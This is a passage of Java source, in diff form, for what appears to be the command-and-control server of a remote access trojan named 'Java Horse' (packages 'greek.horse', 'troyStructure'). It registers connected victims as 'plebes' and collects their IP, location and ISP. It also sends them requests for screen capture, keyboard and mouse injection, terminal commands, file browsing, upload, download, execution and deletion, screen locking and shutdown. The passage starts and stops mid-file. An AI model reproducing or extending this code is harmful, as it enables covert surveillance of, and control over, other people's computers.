} |
|||
|
|||
public String getBigOs() { |
|||
return bigOs; |
|||
} |
|||
|
|||
public String getTitle(){ |
|||
return this.userName+"@"+this.externalIP; |
|||
} |
|||
} |
@ -0,0 +1,5 @@ |
|||
package greek.horse.models; |
|||
|
|||
public enum OS { |
|||
WINDOWS,UNIX,MAC,UNKNOWN |
|||
} |
@ -0,0 +1,21 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.Serializable; |
|||
|
|||
public enum RequestFunction implements Serializable { |
|||
|
|||
|
|||
NET_INFO, |
|||
|
|||
CHAT_MESSAGE, CHAT_START, |
|||
|
|||
RELEASE, |
|||
|
|||
DISCONNECT, TURN_OFF, LOCK, STOP, |
|||
|
|||
DESKTOP_START, DESKTOP_REFRESH, USER_INPUT, MONITOR_COUNT, |
|||
|
|||
FILES, |
|||
|
|||
TERMINAL_START, TERMINAL_COMMAND |
|||
} |
@ -0,0 +1,60 @@ |
|||
package greek.horse.models; |
|||
|
|||
import greek.horse.server.ui.ChatApp; |
|||
import javafx.beans.property.SimpleObjectProperty; |
|||
import javafx.beans.property.SimpleStringProperty; |
|||
import javafx.embed.swing.SwingFXUtils; |
|||
import javafx.scene.image.ImageView; |
|||
|
|||
import java.awt.image.BufferedImage; |
|||
import java.io.Serializable; |
|||
import java.nio.file.Path; |
|||
import java.util.Locale; |
|||
|
|||
public class TableFile implements Serializable { |
|||
|
|||
private transient ImageView icon = null; |
|||
private final FileStruct fileStruct; |
|||
|
|||
public TableFile(FileStruct fileStruct) { |
|||
this.fileStruct = fileStruct; |
|||
BufferedImage bi = ChatApp.getImage(this.fileStruct.getFileType().toString().toLowerCase(Locale.ROOT), 0.09); |
|||
this.icon = new ImageView(SwingFXUtils.toFXImage(bi, null)); |
|||
} |
|||
|
|||
// @Override |
|||
// public int compareTo(@NotNull TableFile o) { |
|||
// return this.fileStruct.getName().compareToIgnoreCase(o.fileStruct.getName()); |
|||
// } |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "TableFile{" + |
|||
this.fileStruct.toString() + |
|||
'}'; |
|||
} |
|||
|
|||
public SimpleStringProperty nameProperty() { |
|||
return new SimpleStringProperty(this.fileStruct.getName()); |
|||
} |
|||
|
|||
public String getSize() { |
|||
return this.fileStruct.getSize(); |
|||
} |
|||
|
|||
public SimpleStringProperty sizeProperty() { |
|||
return new SimpleStringProperty(this.fileStruct.getSize()); |
|||
} |
|||
|
|||
public SimpleObjectProperty<ImageView> iconProperty() { |
|||
return new SimpleObjectProperty<>(this.icon); |
|||
} |
|||
|
|||
public Path getPath() { |
|||
return Path.of(this.fileStruct.getPath()); |
|||
} |
|||
|
|||
public FileType getFileType() { |
|||
return this.fileStruct.getFileType(); |
|||
} |
|||
} |
@ -0,0 +1,86 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.awt.event.KeyEvent; |
|||
import java.io.Serializable; |
|||
import java.util.Objects; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class UserInput implements Serializable { |
|||
|
|||
private int code; |
|||
private int key; |
|||
private Mode mode; |
|||
|
|||
private int x; |
|||
private int y; |
|||
|
|||
private final long id = System.currentTimeMillis(); |
|||
private final AtomicBoolean paired = new AtomicBoolean(false); |
|||
|
|||
public UserInput(int key, Mode mode) { |
|||
this.key = key; |
|||
this.mode = mode; |
|||
} |
|||
|
|||
|
|||
public UserInput(int button, int x, int y, Mode mode) { |
|||
this.code = button; |
|||
this.x = x; |
|||
this.y = y; |
|||
this.mode = mode; |
|||
} |
|||
|
|||
public int getCode() { |
|||
return code; |
|||
} |
|||
|
|||
public int getKey() { |
|||
return key; |
|||
} |
|||
|
|||
public Mode getMode() { |
|||
return mode; |
|||
} |
|||
|
|||
public int getX() { |
|||
return x; |
|||
} |
|||
|
|||
public int getY() { |
|||
return y; |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "UserInput{" + |
|||
"code=" + code + |
|||
", key='" + key + " - " + KeyEvent.getKeyText(key) + |
|||
", mode=" + mode + |
|||
", x=" + x + |
|||
", y=" + y + |
|||
'}'; |
|||
} |
|||
|
|||
@Override |
|||
public boolean equals(Object o) { |
|||
if (this == o) return true; |
|||
if (o == null || getClass() != o.getClass()) return false; |
|||
UserInput userInput = (UserInput) o; |
|||
return id == userInput.id && mode == userInput.mode; |
|||
} |
|||
|
|||
@Override |
|||
public int hashCode() { |
|||
return Objects.hash(mode, id); |
|||
} |
|||
|
|||
public void setPaired(boolean b) { |
|||
this.paired.set(b); |
|||
} |
|||
|
|||
public boolean getPaired() { |
|||
return this.paired.get(); |
|||
} |
|||
} |
|||
|
|||
|
@ -0,0 +1,132 @@ |
|||
package greek.horse.server.troyStructure; |
|||
|
|||
import greek.horse.models.NetInfo; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import javafx.beans.property.SimpleObjectProperty; |
|||
import javafx.beans.property.SimpleStringProperty; |
|||
import javafx.embed.swing.SwingFXUtils; |
|||
import javafx.scene.image.ImageView; |
|||
|
|||
import java.awt.image.BufferedImage; |
|||
import java.util.Locale; |
|||
|
|||
public class NetInfoTable { |
|||
|
|||
private final ImageView imageCountry; |
|||
private final SimpleStringProperty userName; |
|||
private final SimpleStringProperty ip; |
|||
private final SimpleStringProperty country; |
|||
private final SimpleStringProperty region; |
|||
private final SimpleStringProperty city; |
|||
private final SimpleStringProperty isp; |
|||
private final SimpleStringProperty os; |
|||
private final SimpleStringProperty bigOs; |
|||
private final TroyPlebe father; |
|||
|
|||
public NetInfoTable(NetInfo netInfo, TroyPlebe father) { |
|||
this.userName = new SimpleStringProperty(netInfo.getUserName()); |
|||
this.ip = new SimpleStringProperty(netInfo.getExternalIP()); |
|||
this.country = new SimpleStringProperty(netInfo.getCountry()); |
|||
this.region = new SimpleStringProperty(netInfo.getRegion()); |
|||
this.city = new SimpleStringProperty(netInfo.getCity()); |
|||
this.isp = new SimpleStringProperty(netInfo.getIsp()); |
|||
this.os = new SimpleStringProperty(netInfo.getOs().toString()); |
|||
this.bigOs = new SimpleStringProperty(netInfo.getBigOs()); |
|||
this.father = father; |
|||
|
|||
String countryName = netInfo.getCountry().toLowerCase(Locale.ROOT); |
|||
|
|||
BufferedImage bi = ChatApp.getImage(countryName, 0.08, 0, 85, 512, 340); |
|||
this.imageCountry = new ImageView(SwingFXUtils.toFXImage(bi, null)); |
|||
} |
|||
|
|||
public ImageView getImageCountry() { |
|||
return imageCountry; |
|||
} |
|||
|
|||
public String getUserName() { |
|||
return userName.get(); |
|||
} |
|||
|
|||
public SimpleStringProperty userNameProperty() { |
|||
return userName; |
|||
} |
|||
|
|||
public String getIp() { |
|||
return ip.get(); |
|||
} |
|||
|
|||
public SimpleStringProperty ipProperty() { |
|||
return ip; |
|||
} |
|||
|
|||
public String getCountry() { |
|||
return country.get(); |
|||
} |
|||
|
|||
public SimpleStringProperty countryProperty() { |
|||
return country; |
|||
} |
|||
|
|||
public String getRegion() { |
|||
return region.get(); |
|||
} |
|||
|
|||
public SimpleStringProperty regionProperty() { |
|||
return region; |
|||
} |
|||
|
|||
public String getCity() { |
|||
return city.get(); |
|||
} |
|||
|
|||
public SimpleStringProperty cityProperty() { |
|||
return city; |
|||
} |
|||
|
|||
public TroyPlebe getFather() { |
|||
return father; |
|||
} |
|||
|
|||
public String getIsp() { |
|||
return isp.get(); |
|||
} |
|||
|
|||
public SimpleStringProperty ispProperty() { |
|||
return isp; |
|||
} |
|||
|
|||
public String getOs() { |
|||
return os.get(); |
|||
} |
|||
|
|||
public SimpleStringProperty osProperty() { |
|||
return os; |
|||
} |
|||
|
|||
public String getBigOs() { |
|||
return bigOs.get(); |
|||
} |
|||
|
|||
public SimpleStringProperty bigOsProperty() { |
|||
return bigOs; |
|||
} |
|||
|
|||
public SimpleObjectProperty<ImageView> imageProperty(){ |
|||
return new SimpleObjectProperty<>(this.imageCountry); |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "NetInfoTable{" + |
|||
"userName=" + userName + |
|||
", ip=" + ip + |
|||
", country=" + country + |
|||
", region=" + region + |
|||
", city=" + city + |
|||
", isp=" + isp + |
|||
", os=" + os + |
|||
'}'; |
|||
} |
|||
|
|||
} |
@ -0,0 +1,139 @@ |
|||
package greek.horse.server.troyStructure; |
|||
|
|||
import greek.horse.models.FunctionTicket; |
|||
import greek.horse.server.troyStructure.request.TroyRequest; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.io.IOException; |
|||
import java.io.ObjectInputStream; |
|||
import java.io.ObjectOutputStream; |
|||
import java.net.Socket; |
|||
import java.util.HashMap; |
|||
import java.util.List; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
import java.util.stream.Collectors; |
|||
|
|||
public class ServerSocketManager implements Runnable { |
|||
|
|||
private String plebeID = ""; |
|||
private final AtomicBoolean active = new AtomicBoolean(true); |
|||
private final TroyServer father; |
|||
private final Socket socket; |
|||
private static final Logger log = Logger.getLogger(ServerSocketManager.class); |
|||
|
|||
public ServerSocketManager(TroyServer father, Socket socket) { |
|||
this.father = father; |
|||
this.socket = socket; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
try { |
|||
while (!socket.isClosed() && father.isActive().get() && this.active.get()) { |
|||
|
|||
Runnable readTask = manageRead(); |
|||
Runnable writeTask = manageWrite(); |
|||
|
|||
this.father.executeInPool(readTask); |
|||
this.father.executeInPool(writeTask); |
|||
|
|||
while (this.active.get()) { |
|||
Thread.sleep(100); |
|||
} |
|||
|
|||
} |
|||
} catch (Exception e) { |
|||
e.printStackTrace(); |
|||
} finally { |
|||
try { |
|||
socket.close(); |
|||
father.removePlebe(plebeID); |
|||
} catch (IOException ioException) { |
|||
ioException.printStackTrace(); |
|||
} |
|||
} |
|||
} |
|||
|
|||
private Runnable manageWrite() { |
|||
return () -> { |
|||
try { |
|||
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream()); |
|||
while (this.active.get()) { |
|||
|
|||
if (this.plebeID.isEmpty()) { |
|||
Thread.sleep(100); |
|||
continue; |
|||
} |
|||
|
|||
TroyPlebe tp = this.father.getPlebes().parallelStream() |
|||
.filter(plebe -> plebe.getId().contentEquals(this.plebeID)) |
|||
.findFirst().get(); |
|||
|
|||
HashMap<FunctionTicket, Object> writeMap = compileRequests(tp.getRequests()); |
|||
|
|||
if (writeMap.keySet().size() > 0){ |
|||
log.debug("writeMap: "+writeMap); |
|||
oos.writeObject(writeMap); |
|||
} |
|||
|
|||
Thread.sleep(300); |
|||
} |
|||
} catch (Exception e) { |
|||
this.active.set(false); |
|||
log.error("Error while writing to socket.",e); |
|||
} |
|||
}; |
|||
} |
|||
|
|||
private HashMap<FunctionTicket,Object> compileRequests(List<TroyRequest> requests) { |
|||
return (HashMap<FunctionTicket,Object>) requests.parallelStream().filter(req -> !req.getSent().get()) |
|||
.filter(req -> { |
|||
req.getSent().set(true); |
|||
return true; |
|||
}) |
|||
.collect(Collectors |
|||
.toMap(TroyRequest::getTicket, TroyRequest::getSendObj)); |
|||
} |
|||
|
|||
private Runnable manageRead() { |
|||
return () -> { |
|||
try { |
|||
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream()); |
|||
while (this.active.get()) { |
|||
|
|||
Object receivedId = ois.readObject(); |
|||
|
|||
if (!doVirginCheck(receivedId)) { // if its not virgin |
|||
HashMap<FunctionTicket, Object> receivedMap = (HashMap<FunctionTicket, Object>) receivedId; |
|||
|
|||
TroyPlebe tp = this.father.getPlebes().parallelStream() |
|||
.filter(plebe -> plebe.getId().contentEquals(this.plebeID)) |
|||
.findFirst().get(); |
|||
|
|||
tp.getRequests().forEach(req -> { |
|||
FunctionTicket ticket = req.getTicket(); |
|||
if (receivedMap.containsKey(ticket)) { |
|||
req.addReceivedObj(receivedMap.get(ticket)); |
|||
} |
|||
}); |
|||
|
|||
} |
|||
|
|||
} |
|||
} catch (Exception e) { |
|||
this.active.set(false); |
|||
log.error("Error while reading from socket.",e); |
|||
} |
|||
}; |
|||
} |
|||
|
|||
private boolean doVirginCheck(Object o) { |
|||
if (this.plebeID.isEmpty()) { |
|||
this.plebeID = (String) o; |
|||
this.father.addPlebe(new TroyPlebe(this.plebeID)); |
|||
log.info("Registered new client. Id: " + this.plebeID); |
|||
return true; |
|||
} |
|||
return false; |
|||
} |
|||
} |
@ -0,0 +1,230 @@ |
|||
package greek.horse.server.troyStructure; |
|||
|
|||
import greek.horse.models.*; |
|||
import greek.horse.server.troyStructure.request.RecurrentTroyRequest; |
|||
import greek.horse.server.troyStructure.request.TroyRequest; |
|||
import greek.horse.server.troyStructure.request.UniqueTroyRequest; |
|||
import greek.horse.server.ui.controllers.HorseController; |
|||
import greek.horse.server.ui.controllers.tasks.ChatTask; |
|||
import greek.horse.server.ui.controllers.tasks.MonitorDesktopTask; |
|||
import greek.horse.server.ui.controllers.tasks.TerminalTask; |
|||
|
|||
import java.io.Serializable; |
|||
import java.nio.file.Path; |
|||
import java.util.*; |
|||
import java.util.concurrent.CopyOnWriteArrayList; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class TroyPlebe { |
|||
private final String id; |
|||
private String title; |
|||
private final AtomicBoolean running = new AtomicBoolean(true); |
|||
private CopyOnWriteArrayList<TroyRequest> requests = new CopyOnWriteArrayList<>(); |
|||
private static final Serializable EMPTY = ""; |
|||
|
|||
private ChatTask chatTask = new ChatTask(this); |
|||
private MonitorDesktopTask monitorDesktopTask = new MonitorDesktopTask(this); |
|||
private TerminalTask terminalTask = new TerminalTask(this); |
|||
|
|||
public TroyPlebe(String id) { |
|||
this.id = id; |
|||
} |
|||
|
|||
public void setRunning(boolean value) { |
|||
this.running.set(value); |
|||
if (!running.get()) { |
|||
requests.clear(); |
|||
new Thread(() -> { |
|||
try { |
|||
Thread.sleep(30 * 1000); |
|||
requests = null; |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
}).start(); |
|||
} |
|||
} |
|||
|
|||
public void removeRequest(UniqueTroyRequest req) { |
|||
requests.remove(req); |
|||
} |
|||
|
|||
public UniqueTroyRequest getNetInfo() { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.NET_INFO, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public UniqueTroyRequest getDisconnect() { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.DISCONNECT, false); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public void doStop() { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.STOP, false); |
|||
requests.add(req); |
|||
} |
|||
|
|||
public void doToggleLock(boolean lock) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, lock, RequestFunction.LOCK, false); |
|||
requests.add(req); |
|||
} |
|||
|
|||
public RecurrentTroyRequest getScreenCapture(MonitorDesktopWrapper wrapper) { |
|||
RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunction.DESKTOP_START); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public void sendUserInputs(ArrayList<UserInput> inputs) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunction.USER_INPUT, false); |
|||
requests.add(req); |
|||
} |
|||
|
|||
public boolean haveRequest(UniqueTroyRequest req) { |
|||
return requests.contains(req); |
|||
} |
|||
|
|||
public AtomicBoolean getRunning() { |
|||
return running; |
|||
} |
|||
|
|||
public String getId() { |
|||
return id; |
|||
} |
|||
|
|||
public List<TroyRequest> getRequests() { |
|||
return Collections.unmodifiableList(requests); |
|||
} |
|||
|
|||
public UniqueTroyRequest getDrives() { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.LOAD_DRIVES), RequestFunction.FILES, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public UniqueTroyRequest getFiles(Path dir) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(dir.toString(), BrowserTicketType.LOAD_FILES), RequestFunction.FILES, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public UniqueTroyRequest runFile(Path path) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.RUN), RequestFunction.FILES, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public UniqueTroyRequest uploadFile(Path path, String fileName, byte[] bytes) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.UPLOAD, fileName, bytes), RequestFunction.FILES, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public UniqueTroyRequest getKnownFolders() { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.KNOWN_FOLDERS), RequestFunction.FILES, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public UniqueTroyRequest deleteFile(Path path) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DELETE), RequestFunction.FILES, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public UniqueTroyRequest downloadFile(Path path) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DOWNLOAD), RequestFunction.FILES, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public TroyRequest startTerminal() { |
|||
RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.TERMINAL_START); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public Object startChat() { |
|||
RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.CHAT_START); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
public void sendTerminalCommand(String command) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, command, RequestFunction.TERMINAL_COMMAND, false); |
|||
requests.add(req); |
|||
} |
|||
|
|||
public void sendChatMessage(String message) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, message, RequestFunction.CHAT_MESSAGE, false); |
|||
requests.add(req); |
|||
} |
|||
|
|||
public void releaseRequest(RecurrentTroyRequest request) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, request.getTicket().getId(), RequestFunction.RELEASE, false); |
|||
requests.add(req); |
|||
request.getReleased().set(true); |
|||
} |
|||
|
|||
public void refreshDesktop(MonitorDesktopWrapper wrapper) { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunction.DESKTOP_REFRESH, false); |
|||
requests.add(req); |
|||
} |
|||
|
|||
public void turnOff() { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.TURN_OFF, false); |
|||
requests.add(req); |
|||
} |
|||
|
|||
public UniqueTroyRequest getMonitorCount() { |
|||
UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.MONITOR_COUNT, true); |
|||
requests.add(req); |
|||
return req; |
|||
} |
|||
|
|||
|
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "TroyPlebe{" + |
|||
"id=" + id + |
|||
", running=" + running.get() + |
|||
", requests size =" + requests.size() + |
|||
'}'; |
|||
} |
|||
|
|||
@Override |
|||
public boolean equals(Object o) { |
|||
if (this == o) return true; |
|||
if (o == null || getClass() != o.getClass()) return false; |
|||
TroyPlebe troyPlebe = (TroyPlebe) o; |
|||
return id.equals(troyPlebe.id); |
|||
} |
|||
|
|||
@Override |
|||
public int hashCode() { |
|||
return Objects.hash(id); |
|||
} |
|||
|
|||
public String getTitle() { |
|||
return title; |
|||
} |
|||
|
|||
public void setTitle(String title) { |
|||
this.title = title; |
|||
} |
|||
|
|||
public ChatTask getChatTask() { |
|||
return chatTask; |
|||
} |
|||
|
|||
public MonitorDesktopTask getMonitorDesktopTask() { |
|||
return monitorDesktopTask; |
|||
} |
|||
|
|||
public TerminalTask getTerminalTask() { |
|||
return terminalTask; |
|||
} |
|||
} |
@ -0,0 +1,113 @@ |
|||
package greek.horse.server.troyStructure; |
|||
|
|||
import greek.horse.server.ui.controllers.HorseController; |
|||
import javafx.application.Platform; |
|||
import javafx.collections.FXCollections; |
|||
import javafx.collections.ObservableList; |
|||
import javafx.scene.control.Alert; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.io.IOException; |
|||
import java.net.BindException; |
|||
import java.net.ServerSocket; |
|||
import java.net.Socket; |
|||
import java.util.ArrayList; |
|||
import java.util.ConcurrentModificationException; |
|||
import java.util.concurrent.CopyOnWriteArrayList; |
|||
import java.util.concurrent.ExecutorService; |
|||
import java.util.concurrent.Executors; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class TroyServer implements Runnable { |
|||
|
|||
private static final Logger log = Logger.getLogger(TroyServer.class); |
|||
|
|||
private static final ExecutorService threadPool = Executors.newCachedThreadPool(); |
|||
private final ObservableList<TroyPlebe> plebes = FXCollections.synchronizedObservableList(FXCollections.observableList(new CopyOnWriteArrayList<>())); |
|||
private final int port; |
|||
private final HorseController controller; |
|||
|
|||
private ServerSocket server; |
|||
|
|||
private final AtomicBoolean active = new AtomicBoolean(true); |
|||
|
|||
public TroyServer(int port, HorseController controller) { |
|||
this.port = port; |
|||
this.controller = controller; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
try { |
|||
server = new ServerSocket(this.port); |
|||
|
|||
while (this.active.get()) { |
|||
|
|||
if (!this.active.get() && plebes.size() == 0) { // its off and has no plebes |
|||
break; |
|||
} |
|||
|
|||
Socket accept = server.accept(); |
|||
threadPool.execute(new ServerSocketManager(this, accept)); |
|||
|
|||
} |
|||
stop(); |
|||
}catch (BindException e){ |
|||
Platform.runLater(() -> { |
|||
this.controller.startBtn.setSelected(false); |
|||
this.controller.showDialog("Error binding port", "Port already in use, close other programs using port "+port, Alert.AlertType.ERROR); |
|||
}); |
|||
} catch (Exception e) { |
|||
log.error("Error on socket creation", e); |
|||
} |
|||
|
|||
} |
|||
|
|||
public void removePlebe(String id) { |
|||
if (id.isEmpty()) { |
|||
return; |
|||
} |
|||
try { |
|||
ArrayList<TroyPlebe> removeList = new ArrayList<>(); |
|||
plebes.parallelStream() |
|||
.filter(tp -> tp.getId().contentEquals(id)) |
|||
.forEach(tp -> { |
|||
tp.setRunning(false); |
|||
removeList.add(tp); |
|||
}); |
|||
removeList.forEach(ple -> plebes.remove(ple)); |
|||
} catch (ConcurrentModificationException e) { |
|||
log.error("Concurrent error. TroyPlebe may not have been removed."); |
|||
} |
|||
} |
|||
|
|||
public void stop() { |
|||
this.active.set(false); |
|||
try { |
|||
plebes.forEach(p -> p.setRunning(false)); |
|||
plebes.clear(); |
|||
if (server != null) { |
|||
server.close(); |
|||
} |
|||
} catch (IOException e) { |
|||
log.error("Exception closing server."); |
|||
} |
|||
|
|||
} |
|||
|
|||
public ObservableList<TroyPlebe> getPlebes() { |
|||
return plebes; |
|||
} |
|||
|
|||
public AtomicBoolean isActive() { |
|||
return active; |
|||
} |
|||
|
|||
public void addPlebe(TroyPlebe troyPlebeNew) { |
|||
this.plebes.add(troyPlebeNew); |
|||
} |
|||
|
|||
public void executeInPool(Runnable run) { |
|||
threadPool.execute(run); |
|||
} |
|||
} |
@ -0,0 +1,57 @@ |
|||
package greek.horse.server.troyStructure.request; |
|||
|
|||
import greek.horse.models.RequestFunction; |
|||
import greek.horse.models.FunctionTicket; |
|||
import javafx.collections.FXCollections; |
|||
import javafx.collections.ObservableList; |
|||
|
|||
import java.util.List; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class RecurrentTroyRequest implements TroyRequest { |
|||
private final Object sendObj; |
|||
private final FunctionTicket ticket; |
|||
private final AtomicBoolean released = new AtomicBoolean(false); |
|||
|
|||
private final ObservableList<Object> receivedObjs = FXCollections.observableArrayList(); |
|||
|
|||
private final AtomicBoolean sent = new AtomicBoolean(false); |
|||
|
|||
public RecurrentTroyRequest(Object sendObj, RequestFunction f) { |
|||
this.sendObj = sendObj; |
|||
this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), true); |
|||
} |
|||
|
|||
@Override |
|||
public Object getSendObj() { |
|||
return sendObj; |
|||
} |
|||
|
|||
@Override |
|||
public synchronized void addReceivedObj(Object receivedObj) { |
|||
receivedObjs.add(receivedObj); |
|||
} |
|||
|
|||
@Override |
|||
public AtomicBoolean getSent() { |
|||
return sent; |
|||
} |
|||
|
|||
@Override |
|||
public FunctionTicket getTicket() { |
|||
return ticket; |
|||
} |
|||
|
|||
@Override |
|||
public List<Object> getReceivedObjs(){ |
|||
return getObservableReceivedObjs(); |
|||
} |
|||
|
|||
public ObservableList<Object> getObservableReceivedObjs(){ |
|||
return receivedObjs; |
|||
} |
|||
|
|||
public AtomicBoolean getReleased() { |
|||
return released; |
|||
} |
|||
} |
@ -0,0 +1,18 @@ |
|||
package greek.horse.server.troyStructure.request; |
|||
|
|||
import greek.horse.models.FunctionTicket; |
|||
|
|||
import java.util.List; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public interface TroyRequest { |
|||
Object getSendObj(); |
|||
|
|||
void addReceivedObj(Object receivedObj); |
|||
|
|||
AtomicBoolean getSent(); |
|||
|
|||
FunctionTicket getTicket(); |
|||
|
|||
List<Object> getReceivedObjs() throws Exception; |
|||
} |
@ -0,0 +1,69 @@ |
|||
package greek.horse.server.troyStructure.request; |
|||
|
|||
import greek.horse.models.RequestFunction; |
|||
import greek.horse.models.FunctionTicket; |
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.util.Collections; |
|||
import java.util.List; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class UniqueTroyRequest implements TroyRequest { |
|||
private final TroyPlebe father; |
|||
private final Object sendObj; |
|||
private final FunctionTicket ticket; |
|||
private volatile Object receivedObj; |
|||
private final AtomicBoolean sent = new AtomicBoolean(false); |
|||
private final boolean haveResponse; |
|||
private static final Logger log = Logger.getLogger(UniqueTroyRequest.class); |
|||
|
|||
public UniqueTroyRequest(TroyPlebe father, Object sendObj, RequestFunction f, boolean haveResponse) { |
|||
this.father = father; |
|||
this.sendObj = sendObj; |
|||
this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), false); |
|||
this.haveResponse = haveResponse; |
|||
} |
|||
|
|||
@Override |
|||
public Object getSendObj() { |
|||
return sendObj; |
|||
} |
|||
|
|||
@Override |
|||
public synchronized void addReceivedObj(Object receivedObj) { |
|||
this.receivedObj = receivedObj; |
|||
} |
|||
|
|||
@Override |
|||
public AtomicBoolean getSent() { |
|||
return sent; |
|||
} |
|||
|
|||
@Override |
|||
public FunctionTicket getTicket() { |
|||
return ticket; |
|||
} |
|||
|
|||
@Override |
|||
public List<Object> getReceivedObjs() throws Exception{ |
|||
return Collections.singletonList(getReceivedObj()); |
|||
} |
|||
|
|||
public Object getReceivedObj() throws Exception{ |
|||
try { |
|||
while (haveResponse ? (this.receivedObj == null) : (this.sent.get())) { |
|||
if (!father.haveRequest(this) || !father.getRunning().get()) { |
|||
father.removeRequest(this); |
|||
break; |
|||
} |
|||
Thread.sleep(50); |
|||
} |
|||
father.removeRequest(this); |
|||
return receivedObj; |
|||
} catch (Exception e){ |
|||
log.error(e); |
|||
return null; |
|||
} |
|||
} |
|||
} |
@ -0,0 +1,229 @@ |
|||
package greek.horse.server.ui; |
|||
|
|||
import greek.horse.test.Test; |
|||
import greek.horse.server.ui.controllers.HorseController; |
|||
import greek.horse.server.ui.controllers.MonitorDesktopController; |
|||
import javafx.application.Application; |
|||
import javafx.application.Platform; |
|||
import javafx.embed.swing.JFXPanel; |
|||
import javafx.embed.swing.SwingFXUtils; |
|||
import javafx.fxml.FXMLLoader; |
|||
import javafx.scene.Parent; |
|||
import javafx.scene.Scene; |
|||
import javafx.scene.control.Alert; |
|||
import javafx.scene.control.Label; |
|||
import javafx.scene.control.TextArea; |
|||
import javafx.scene.image.Image; |
|||
import javafx.scene.layout.GridPane; |
|||
import javafx.scene.layout.Priority; |
|||
import javafx.stage.Modality; |
|||
import javafx.stage.Stage; |
|||
import net.coobird.thumbnailator.Thumbnailator; |
|||
import net.coobird.thumbnailator.Thumbnails; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.awt.image.BufferedImage; |
|||
import java.io.File; |
|||
import java.io.IOException; |
|||
import java.io.PrintWriter; |
|||
import java.io.StringWriter; |
|||
import java.net.URISyntaxException; |
|||
import java.net.URL; |
|||
import java.security.CodeSource; |
|||
import java.util.*; |
|||
import java.util.concurrent.ConcurrentHashMap; |
|||
import java.util.zip.ZipEntry; |
|||
import java.util.zip.ZipInputStream; |
|||
|
|||
public class ChatApp extends Application { |
|||
|
|||
private HorseController controller; |
|||
public static Image appIcon = new Image(ChatApp.class.getClassLoader().getResource("images/icon.png").toString()); |
|||
public static final ConcurrentHashMap<String, Image> imgs = new ConcurrentHashMap<>(); |
|||
private static final Logger log = Logger.getLogger(MonitorDesktopController.class); |
|||
|
|||
public static void main(String[] args) throws URISyntaxException, IOException { |
|||
loadImages(); |
|||
launch(args); |
|||
} |
|||
|
|||
@Override |
|||
public void start(Stage primaryStage) throws Exception { |
|||
try { |
|||
primaryStage.setTitle("Java Horse"); |
|||
primaryStage.getIcons().add(appIcon); |
|||
primaryStage.setResizable(false); |
|||
|
|||
